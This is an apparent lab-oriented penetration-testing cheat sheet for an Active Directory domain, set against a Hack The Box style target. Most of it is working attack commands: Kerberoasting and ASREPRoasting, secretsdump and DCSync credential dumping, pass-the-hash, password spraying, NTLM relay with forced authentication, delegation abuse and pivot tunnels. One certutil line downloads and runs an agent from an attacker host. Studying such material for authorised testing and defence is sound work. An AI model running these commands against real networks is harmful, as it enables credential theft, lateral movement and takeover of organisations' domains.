AD^:Active Directory

AD Pentest Tools Workflow

Tooling-oriented AD engagement workflow with copy-paste commands from enumeration to domain takeover.

advancedupdated 2026-08-09NetExec · BloodHound · Impacket · ldapsearch

AD Pentest Tools Workflow

Every tool used in a typical AD chain: what it does, how to use it, and when to reach for it. Example targets use 10.129.202.43 / pirate.htb — swap for yours.

Tool Categories

CategoryTools
Reconnaissancenmap, rustscan, enum4linux-ng, ldapsearch, bloodhound-python
Kerberos abuseimpacket-getTGT, impacket-getST, klist
Credential accessgMSADumper, impacket-secretsdump
Shells & executionevil-winrm, impacket-psexec, impacket-wmiexec, impacket-smbexec
Pivotingligolo-ng, chisel
Relay attacksimpacket-ntlmrelayx, coercer
ACL / AD abusebloodyAD, addspn.py
Swiss army knifeNetExec (nxc)

Kerberos Environment — Configure This First

These affect every Kerberos-based tool. Get them wrong and nothing works.

/etc/hosts — every Kerberos tool resolves hostnames; without entries, DNS fails silently and ticket requests go nowhere:

# Add before touching any target
sudo tee -a /etc/hosts << 'EOF'
10.129.202.43   dc01.pirate.htb pirate.htb DC01
EOF

# Add internal hosts after pivoting
# 192.168.100.2   web01.pirate.htb WEB01

/etc/krb5.conf — Impacket, gMSADumper, and all GSSAPI tools read this to find the KDC:

sudo bash -c 'cat > /etc/krb5.conf << EOF
[libdefaults]
    default_realm = PIRATE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
    rdns = false
    default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

[realms]
    PIRATE.HTB = {
        kdc = dc01.pirate.htb
        admin_server = dc01.pirate.htb
    }

[domain_realm]
    .pirate.htb = PIRATE.HTB
    pirate.htb = PIRATE.HTB
EOF'
KeyPurpose
default_realmMust be uppercase — PIRATE.HTB not pirate.htb
dns_lookup_kdc = falseSpecify the KDC directly; lab DNS is unreliable
rdns = falsePrevents reverse DNS lookups that fail in labs
default_tgs_enctypesAllows RC4-HMAC alongside AES — needed because gMSA hashes are NTLM (RC4)
kdc = dc01.pirate.htbResolved via /etc/hosts — always set hosts first

Clock sync (±5 minute tolerance):

# Check the skew
nmap --script smb2-time -p 445 10.129.202.43

# Sync clock to DC
sudo ntpdate -u 10.129.202.43

# Verify
timedatectl status

Ticket management:

# The most important line in any Kerberos attack
export KRB5CCNAME=/absolute/path/to/username.ccache
# Always use an absolute path. Relative paths break when tools change dir.
# Filenames with $ need escaping: MS01\$.ccache

klist                          # show current tickets + expiry
klist -e                       # show encryption types
kdestroy                       # destroy current ticket
kinit user@PIRATE.HTB          # get new TGT interactively

1. Nmap

Network scanner: discovers hosts, open ports, services, OS, and runs NSE scripts.

# STAGE 1: ping sweep
nmap -sn 10.129.202.0/24 -oN recon/hosts.txt

# STAGE 2: full port scan
nmap -p- --min-rate 5000 -T4 10.129.202.43 -oN recon/ports.txt

# STAGE 3: service + default scripts on discovered ports
nmap -sC -sV -p 53,80,88,139,389,443,445,636,3268,5985 \
     10.129.202.43 -oN recon/services.txt

# STAGE 4: AD-specific scripts
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users,smb-enum-domains,dns-nsid \
     -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt

# Useful single-liners
nmap --script vuln 10.129.202.43               # vuln scan
nmap -sU -p 161 10.129.202.43                  # UDP / SNMP
nmap --script http-title -p 80,443,8080,8443   # quick web titles

AD-relevant ports —

PortServiceMeaning
88KerberosConfirmed DC — TGT requests, ASREPRoast, Kerberoast
389/636LDAP/LDAPSEnumerate users, groups, ACLs, delegations
445SMBCheck signing status before any relay
5985/5986WinRMShell access with valid creds or hash
3268/3269Global CatalogCross-domain queries

1-ALT. RustScan replaces stages 1–3 in a single command — async port discovery, then hands off to nmap:

# Install RustScan (check the releases page for the current version)
wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb
sudo dpkg -i rustscan_2.3.0_amd64.deb

# Full scan — discover ports then pipe to nmap for -sC -sV
rustscan -a 10.129.202.43 --ulimit 5000 \
  -- -sC -sV -oN recon/rustscan_detailed.txt

# Still run AD-specific scripts and clock skew scans separately
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt

--ulimit 5000 limits concurrent connections — too high causes false negatives on unstable VPN links. -- passes everything after it directly to nmap.

2. enum4linux-ng

Wraps SMB/LDAP/RPC enumeration to extract users, groups, shares, password policy, and OS info — no credentials needed on misconfigured systems.

# Full enumeration, JSON + YAML output
enum4linux-ng -A 10.129.202.43 -oA recon/enum4linux

# Specific modules
enum4linux-ng -U 10.129.202.43   # users only
enum4linux-ng -G 10.129.202.43   # groups only
enum4linux-ng -S 10.129.202.43   # shares only
enum4linux-ng -P 10.129.202.43   # password policy

# With credentials
enum4linux-ng -A 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'

Look for: users list (Kerberoast/ASREPRoast targets); password policy (min length, lockout threshold); shares (IPC$, SYSVOL, NETLOGON, custom).

NetExec alternative for anonymous enumeration:

nxc smb 10.129.202.43 -u '' -p '' --shares
nxc smb 10.129.202.43 -u '' -p '' --users
nxc smb 10.129.202.43 -u 'guest' -p '' --shares   # guest session fallback

3. ldapsearch

Direct LDAP queries against AD — the most reliable way to enumerate users, groups, GPOs, service accounts, and delegation configs without a GUI.

# ANONYMOUS BIND (no creds)

# Get the base naming context first
ldapsearch -x -H ldap://10.129.202.43 -b "" -s base namingContexts

# Dump everything (anonymous, if allowed)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" "(objectClass=*)" > ldap_all.txt

# AUTHENTICATED
ldapsearch -x -H ldap://10.129.202.43 \
  -D "a.white@pirate.htb" -w 'E2nvAOKSz5Xz2MJu' \
  -b "DC=pirate,DC=htb" "(objectClass=user)" \
  sAMAccountName memberOf pwdLastSet

AD-specific queries — copy-paste reference:

# Pre-Win2000 Compatible Access group members
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb)" \
  sAMAccountName

# All gMSA accounts
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

# Accounts with Kerberos delegation
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo

# ASREPRoastable accounts (no pre-auth)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
  sAMAccountName

# Kerberoastable accounts (have SPN)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName

# Verify SPN location (after addspn.py injection)
ldapsearch -x -H ldap://10.129.202.43 \
  -D "a.white_adm@pirate.htb" -w 'Pwn3d2026!' \
  -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" \
  servicePrincipalName

windapsearch alternative — wraps common LDAP queries into simple flags:

# Install
go install github.com/ropnop/go-windapsearch@latest

# Common queries
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --da         # domain admins
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --computers   # all computers
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --gpos        # GPOs
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --unconstrained-delegation

4. BloodHound + bloodhound-python

Collects AD relationship data and visualises attack paths as a graph — the fastest way to find ACL abuse chains, delegation misconfigs, and shortest paths to Domain Admin.

# Install
pipx install bloodhound

# COLLECTION (run as soon as you have ANY valid creds)

# With username + password
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
  -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  -c All --zip -ns 10.129.202.43

# With NTLM hash (Pass-the-Hash)
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
  -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 \
  -c All --zip -ns 10.129.202.43

# With Kerberos ticket
KRB5CCNAME=MS01\$.ccache bloodhound-python \
  -d pirate.htb -dc dc01.pirate.htb \
  -u 'MS01$' --auth-method kerberos \
  -c All --zip -ns 10.129.202.43

Note — Modern BloodHound is BloodHound CE (SpecterOps), which uses Docker Compose / bhce rather than the legacy neo4j + Java GUI. For CE, collect with a matching bloodhound-python -v or SharpHound version and drag the zip into the web UI. The legacy GUI below still works for the old edition.

Starting the legacy BloodHound GUI:

sudo apt install neo4j bloodhound
sudo neo4j start
bloodhound &
# Default creds: neo4j / neo4j -> change on first login

Useful Cypher queries (paste into the raw query bar):

// GenericWrite edges (like a.white -> a.white_adm)
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p

// Who can read gMSA passwords?
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p

// All delegation paths
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p

// Shortest paths from owned principals to Domain Admin
// (mark owned users first: right-click -> Mark as Owned)

NetExec BloodHound collection:

# Single command — handles collection + zipping
nxc ldap dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  --bloodhound -c All --dns-server 10.129.202.43

5. Impacket Suite

Python library implementing Windows network protocols — the single most important toolkit for AD pentesting (20+ tools for Kerberos, SMB, LDAP, RPC). On Kali the scripts are prefixed impacket- (e.g. impacket-getTGT); the raw getTGT.py names also work from a source checkout.

5.1 — getTGT (request a Kerberos TGT)

# Standard — with password
impacket-getTGT PIRATE.HTB/username:password -dc-ip 10.129.202.43

# Pre-Win2000 — machine name IS the password
impacket-getTGT 'PIRATE.HTB/MS01$:ms01' -dc-ip 10.129.202.43

# With NTLM hash (Pass-the-Hash for Kerberos)
impacket-getTGT PIRATE.HTB/user -hashes :NTLMhash -dc-ip 10.129.202.43

# Use the ticket
export KRB5CCNAME=$(pwd)/username.ccache
klist   # verify it's valid

5.2 — getST (service ticket / S4U2Proxy / constrained delegation)

# RBCD: machine account impersonates Administrator for CIFS on WEB01
impacket-getST -spn 'cifs/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/URNYIFYY$:MTbIJRrN1El!HLH' \
  -dc-ip 10.129.202.43

# KCD + altservice (SPN injection scenario)
# -altservice rewrites the sname field in the ticket
impacket-getST -spn 'HTTP/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/a.white_adm:Pwn3d2026!' \
  -dc-ip 10.129.202.43 \
  -altservice 'CIFS/DC01.pirate.htb'

export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

5.3 — GetNPUsers (ASREPRoast)

# No creds — find accounts with "Do not require Kerberos preauthentication"
impacket-GetNPUsers PIRATE.HTB/ -dc-ip 10.129.202.43 -no-pass \
  -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Crack with hashcat
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

5.4 — GetUserSPNs (Kerberoast)

# With creds — find SPN accounts and request their TGS tickets
impacket-GetUserSPNs PIRATE.HTB/a.white:E2nvAOKSz5Xz2MJu \
  -dc-ip 10.129.202.43 \
  -request -outputfile kerb_hashes.txt

# Crack
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

5.5 — psexec / smbexec / wmiexec (remote execution)

# psexec — uploads a service binary, noisiest, gives SYSTEM
impacket-psexec PIRATE.HTB/Administrator:password@10.129.202.43

# With hash
impacket-psexec -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43

# With Kerberos ticket
impacket-psexec -k -no-pass DC01.pirate.htb

# wmiexec — uses WMI, no service install, less noisy, user-level
impacket-wmiexec -k -no-pass DC01.pirate.htb

# smbexec — creates a service but cleans up, middle ground
impacket-smbexec -k -no-pass DC01.pirate.htb
ToolMethodNoiseRuns AsNotes
psexecSMB named pipe + serviceHighSYSTEMLeaves artifacts; most reliable
wmiexecWMI process createLowUser-levelNo service install; semi-interactive
smbexecSMB service create + cleanupMediumSYSTEMCleans up after itself

5.6 — atexec / dcomexec (additional execution methods)

# atexec — uses Task Scheduler (AT); good when other methods are blocked
impacket-atexec PIRATE.HTB/Administrator:password@10.129.202.43 'whoami'

# dcomexec — uses DCOM (MMC20.Application or ShellWindows)
impacket-dcomexec PIRATE.HTB/Administrator:password@10.129.202.43
impacket-dcomexec -object MMC20 PIRATE.HTB/Administrator:password@10.129.202.43

6. secretsdump

Dumps credential stores — SAM, LSA secrets, NTDS.dit, cached domain logons, DPAPI secrets.

# REMOTE DUMP (most common)

# With password
impacket-secretsdump PIRATE.HTB/Administrator:password@10.129.202.43

# With hash
impacket-secretsdump -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43

# With Kerberos ticket
impacket-secretsdump -k -no-pass WEB01.pirate.htb -outputfile web01_dump

# SAM + LSA only (skip NTDS, faster on member servers)
impacket-secretsdump -sam -lsa PIRATE.HTB/Administrator:password@10.129.202.43
# DC DUMP (DCSync — all hashes without NTDS.dit access)
# Requires: replication rights (DA or delegated)
impacket-secretsdump -just-dc PIRATE.HTB/Administrator:password@dc01.pirate.htb

# Just one user's hash
impacket-secretsdump -just-dc-user krbtgt PIRATE.HTB/Administrator:password@dc01.pirate.htb

# -outputfile creates: web01_dump.sam, web01_dump.secrets, web01_dump.ntds
impacket-secretsdump ... -outputfile web01_dump
Output SectionFormatUse Case
LSA SecretsPlaintext service-account passwordsRecover cleartext creds
SAM hashesAdministrator:500:LM:NTLM:::Use the NTLM part (not LM) for PTH
NTDSEvery domain account hashFull domain compromise — PTH across all accounts
Cached domain logonsDCC2 hashesCrack offline with hashcat -m 2100

NetExec alternatives for credential dumping:

nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --sam    # SAM hashes
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --lsa    # LSA secrets
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --ntds   # DCSync via NTDS

7. Evil-WinRM

PowerShell remote shell over WinRM (5985/5986). Supports Pass-the-Hash, Kerberos, file upload/download, in-memory script loading.

# CONNECT

# With password
evil-winrm -i dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'

# Pass-the-Hash
evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' \
  -H '8126756fb2e69697bfcb04816e685839'

# With Kerberos (set KRB5CCNAME first)
evil-winrm -i dc01.pirate.htb -r PIRATE.HTB

File transfer (inside the Evil-WinRM prompt):

upload /local/path/agent.exe C:\Users\Public\agent.exe
download C:\Users\Administrator\Desktop\root.txt
# Load a PowerShell script in-memory (no disk touch): start evil-winrm with -s /path/to/scripts/

Situational awareness — run on every new machine:

whoami /all                          # privs + groups
net localgroup administrators        # who is local admin?
Get-ADUser -Filter * -Properties *   # all AD users
Get-ADGroupMember "Domain Admins"    # DA members
(Get-ADComputer -Filter *).Name      # all computers
ipconfig /all                        # NICs, subnets, DNS

Tip — fix broken evil-winrm. After Kali updates, evil-winrm often breaks with rubyzip errors: sudo gem install evil-winrm.

8. NetExec (nxc)

The modern successor to CrackMapExec. Single tool for password spraying, credential validation, enumeration, and modules across SMB, WinRM, LDAP, MSSQL, SSH, RDP.

# CREDENTIAL VALIDATION
nxc smb 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
# Output: [+] = valid, [-] = invalid, Pwn3d! = local admin
nxc winrm dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
nxc smb 10.129.202.43 -u Administrator -H :NTLMhash    # Pass-the-Hash
# SPRAYING (watch lockout threshold!)
nxc smb 10.129.202.43 -u users.txt -p 'Winter2024!' --continue-on-success
# ENUMERATION
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --shares
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --loggedon-users
nxc ldap dc01.pirate.htb -u 'a.white' -p 'pass' --bloodhound -c All
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa
# EXECUTION
nxc smb 10.129.202.43 -u Admin -p pass -x "whoami"        # cmd
nxc smb 10.129.202.43 -u Admin -p pass -X "Get-Process"   # PowerShell

Warning — password-spraying safety. Always check the lockout policy first (enum4linux-ng -P or nxc smb --pass-pol). One spray per lockout window. Locking out accounts is the fastest way to get caught.

9. gMSADumper

Reads msDS-ManagedPassword from LDAP to extract gMSA NTLM hashes. Only works if your account has read access to that attribute (msDS-GroupMSAMembership).

git clone https://github.com/micahvandeusen/gMSADumper && cd gMSADumper
pip install gssapi

# With username + password
python3 gMSADumper.py -u 'MS01$' -p 'ms01' -d pirate.htb -l dc01.pirate.htb

# With Kerberos ticket
KRB5CCNAME=/absolute/path/MS01\$.ccache \
python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k

# Alternative — NetExec is often more reliable
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa

Output format:

gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839        <- NTLM hash -> PTH
gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:4b663e09...       <- AES key -> Kerberos

If empty, check PrincipalsAllowedToRetrieveManagedPassword on the gMSA object — your account must be in that group or its membership chain.

10. Ligolo-ng

Creates a transparent Layer-3 VPN tunnel through a compromised host using a kernel tun interface. Unlike proxychains (SOCKS), every tool works natively — no prefix.

# SETUP (one-time)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_windows_amd64.zip

# Create tun interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# EVERY TIME
# Terminal 1: start proxy (attacker)
./proxy -selfcert -laddr 0.0.0.0:443

# Target (via shell): download and run agent
certutil.exe -urlcache -f http://ATTACKER_IP:8080/agent.exe agent.exe
.\agent.exe -connect ATTACKER_IP:443 -ignore-cert

# Terminal 1 (proxy console): activate
# ligolo-ng » session
# [Agent: ...] » start

# Add route to internal subnet
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip route add 172.16.50.0/24 dev ligolo   # multiple subnets
# LISTENER: forward port 4444 on the pivot to your 4444 (reverse shells from WEB01)
# [Agent: ...] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

Chisel alternative (SOCKS proxy fallback) — tradeoff is you must prefix commands with proxychains:

# Attacker: start chisel server
chisel server -p 8000 --reverse

# Pivot (Evil-WinRM): run chisel client
.\chisel.exe client 10.10.14.42:8000 R:socks

# Attacker: use proxychains for internal-subnet targets
proxychains nmap -sC -sV 192.168.100.2
proxychains evil-winrm -i 192.168.100.2 -u admin -p pass

11. ntlmrelayx

Relays NTLM authentication to other services — when a machine is forced to authenticate to your listener, you forward that credential to a target service.

# COMMON RELAY TARGETS

# Relay to LDAPS + RBCD
impacket-ntlmrelayx -t ldaps://10.129.202.43 \
  --delegate-access --remove-mic -smb2support

# Relay to SMB — dump SAM (target must have signing disabled)
impacket-ntlmrelayx -t smb://192.168.100.2 -smb2support

# Relay to LDAPS — create a new computer account
impacket-ntlmrelayx -t ldaps://10.129.202.43 --add-computer HACKED$

# Relay to MSSQL
impacket-ntlmrelayx -t mssql://192.168.100.5 -smb2support

# Relay to multiple targets
impacket-ntlmrelayx -tf targets.txt -smb2support
FlagPurpose
--delegate-accessAdd RBCD rights to newly created machine account
--remove-micBypass MIC (needed for cross-protocol relay, e.g. NTLM -> LDAPS)
--no-dumpSkip SAM dump (quieter)
-smb2supportEnable SMB2 (required for modern Windows)
-6Listen on IPv6 too

Before a relay, always check: is SMB signing disabled on the victim (nmap --script smb2-security-mode)? Is LDAP signing enforced on target (LDAPS on 636 often bypasses this)? Are victim and target different machines?

12. Coercer

Forces a Windows machine to authenticate to an attacker server via RPC protocols (MS-EFSR, MS-FSRVP, MS-DFSNM, etc). The “push” that makes NTLM relay work.

pipx install coercer

# SCAN MODE: check which protocols are available
coercer scan -t 192.168.100.2 -d pirate.htb \
  -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839

# COERCE MODE: force authentication
coercer coerce \
  -l 10.10.14.42 \
  -t 192.168.100.2 \
  -d pirate.htb \
  -u 'gMSA_ADFS_prod$' \
  --hashes :8126756fb2e69697bfcb04816e685839 \
  --always-continue
# SPECIFIC PROTOCOLS
# Only MS-EFSR (PetitPotam — most reliable)
coercer coerce -l 10.10.14.42 -t 192.168.100.2 \
  -d pirate.htb -u user -p pass \
  --filter-method-name EfsRpcEncryptFileSrv

# PetitPotam directly (original PoC)
python3 PetitPotam.py -u 'user' -p 'pass' -d pirate.htb \
  10.10.14.42 192.168.100.2

Important — start the relay before coercion. ntlmrelayx must be listening before you run coercer. Authentication arriving with no relay listener is lost.

13. bloodyAD

Swiss army knife for AD object manipulation — modify attributes, ACLs, passwords, group memberships directly via LDAP.

pipx install bloodyAD

# PASSWORD OPERATIONS
# Reset another user's password (requires GenericWrite/ForceChangePassword)
bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  --host 10.129.202.43 set password a.white_adm 'Pwn3d2026!'

# GROUP MEMBERSHIP
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add groupMember "Domain Admins" a.white
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb remove groupMember "Group" username

# ATTRIBUTE MANIPULATION
# Set RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add rbcd WEB01$ HACKER$

# Disable pre-auth (make account ASREPRoastable)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add uac target.user -f DONT_REQ_PREAUTH
# READ OPERATIONS — check what you can write to
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb get writable

rpcclient fallback for password reset:

rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' 10.129.202.43 \
  -c 'setuserinfo2 a.white_adm 23 Pwn3d2026!'

14. addspn.py (krbrelayx)

Adds, removes, or lists SPNs on AD objects. Part of the krbrelayx toolkit — key for SPN injection (moving an SPN from one computer to another to redirect Kerberos delegation).

git clone https://github.com/dirkjanm/krbrelayx && cd krbrelayx

# LIST SPNs on an account
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'DC01$' --list 10.129.202.43

# ADD an SPN
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'DC01$' \
  -s 'HTTP/WEB01.pirate.htb' \
  10.129.202.43

# REMOVE an SPN (-r flag)
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'WEB01$' \
  -s 'HTTP/WEB01.pirate.htb' \
  -r 10.129.202.43

# VERIFY (with ldapsearch)
ldapsearch -x -H ldap://10.129.202.43 \
  -D 'a.white_adm@pirate.htb' -w 'Pwn3d2026!' \
  -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" servicePrincipalName

Why SPN injection matters: constrained delegation resolves the target by which computer has the SPN registered. Move HTTP/WEB01 from WEB01$ to DC01$ and the KDC issues delegation tickets for DC01 — even though the delegation config on a.white_adm hasn’t changed.

Auth Methods Across Tools — Quick Reference

ToolPasswordNTLM HashKerberos Ticket
impacket-getTGT-p pass-hashes :NTLMN/A (produces tickets)
impacket-getST:pass-hashes :NTLM-k -no-pass + KRB5CCNAME
impacket-secretsdump:pass-hashes :NTLM-k -no-pass
impacket-psexec:pass-hashes :NTLM-k -no-pass
evil-winrm-p pass-H NTLM-r REALM + KRB5CCNAME
nxc-p pass-H :NTLM-k + KRB5CCNAME
bloodhound-python-p pass--hashes :NTLM--auth-method kerberos
bloodyAD-p pass-p :NTLM (or --hashes)-k
coercer-p pass--hashes :NTLM-k

Troubleshooting Reference

ErrorCauseFix
KRB_AP_ERR_SKEWClock skew > 5 minsudo ntpdate -u DC_IP
KDC not foundBad krb5.confCheck /etc/krb5.conf realm + KDC IP
KDC_ERR_PREAUTH_FAILEDWrong passwordDouble-check creds; try hash
Errno 111 Connection refusedWinRM not runningCheck port 5985; try 5986
STATUS_ACCESS_DENIED (SMB)Creds work but no adminUser isn’t local admin on that host
NT_STATUS_LOGON_FAILUREBad hash/passVerify NTLM hash is the NT part (not LM)
gMSADumper returns emptyWrong accountCheck PrincipalsAllowedToRetrieveManagedPassword
rubyzip error in evil-winrmBroken gemsudo gem install evil-winrm
ntlmrelayx relay failsSMB signing enabledRelay to LDAPS (:636) instead
Server not found in Kerberos databaseMissing /etc/hosts or bad krb5.confAdd hostname to /etc/hosts; verify [domain_realm]

References

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.